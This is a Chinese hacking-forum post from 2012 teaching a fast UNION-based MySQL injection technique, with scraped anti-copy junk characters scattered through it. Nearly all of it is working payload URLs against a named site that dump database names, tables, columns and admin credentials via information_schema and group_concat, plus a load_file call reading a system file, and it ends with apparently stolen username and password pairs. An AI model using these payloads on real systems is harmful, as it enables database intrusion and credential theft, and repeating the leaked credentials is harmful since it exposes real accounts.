找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似0 }5 ~( @2 I. g" W* I- D* \- Q% \
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
' r1 O& h+ y- ~& [8 ?" t
* ~+ m" f% k8 D
" I  V) W5 a" \2 O. _' s9 E优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入8 ^( Y6 L5 }: J5 }

9 b% D1 [$ g2 O, i& V# z* I+ a: i缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
3 B& ^# Q- S% u/ B' f& y% B* U% T. j, {5 L$ }$ K
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
1 g% ~( w/ C- M! H5 F在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
& f/ L' o# o: W$ K  ]3 l) X3 _+ h* Y- W7 D0 [' f9 g
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17) ^" I. Z9 ~6 [! M" l8 i

1 P/ ^, K' D. a/ K/ o3 j读出所有库:# _3 ^) E5 _6 P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA2 A$ q4 f. m! l$ O' {

& y4 K) D( N* D% `: |7 n' L& q- O6 [6 N; @% Q) B' [( C
. n" s- \- Z1 a- m( I
读出所有表:
: a$ e5 i' S0 p) |& @, I7 lhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
* V% K" r$ G8 g# ?
. k" n7 W6 r/ a读出所有表字段:# R+ C  |) }5 D1 [3 P" Q) j
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110), z/ v5 P, z; }" J) B  {4 U" ]
*/ (97,100,109,105,110)为admin的ascii码 依次类推1 \: r( _/ E6 m3 O& u7 u
$ ^" R7 @, c  ~! D/ c. R0 Y+ y- C
读出所有表字段里的内容:* Q$ |: T: G* D7 ~$ x+ U
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin6 k- s9 X+ \* n; Q# Y/ I

: I* F! g2 V% I, s( L* ]/ v- f5 x: ?5 }6 O. ^

& j/ y& ?/ K8 I% e" P+ s5 w" s% U: {: h1 x

: k( e2 n/ }, p+ F+ x( z* ]" Z/ c  _
* T' }, }$ s  v9 i: Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
5 z2 F. t9 A; Z" ^) g2 Q* s$ U. m1 H4 z, [6 t
$ }  @! j4 Y% ^7 h& V1 d
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
+ p1 o( |% I7 P% w! t$ [: f/ |$ g
; z' p, v0 s* O! z/ w; vhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23' J: s: P' d8 M

! P% ~' {' U# t4 i+ c  m8 L) [  R6 E. C  C" ~8 c# {
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
, F1 P2 G( `, [9 H" Z
/ W" |3 `# V. S  v/ g% Z$ ?
  I0 M* u- s) [3 A1 B$ O+ _        webmaster:dzb521123,simlab:simadmin20043233+ F: _2 \/ f5 |' ?3 J; U4 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表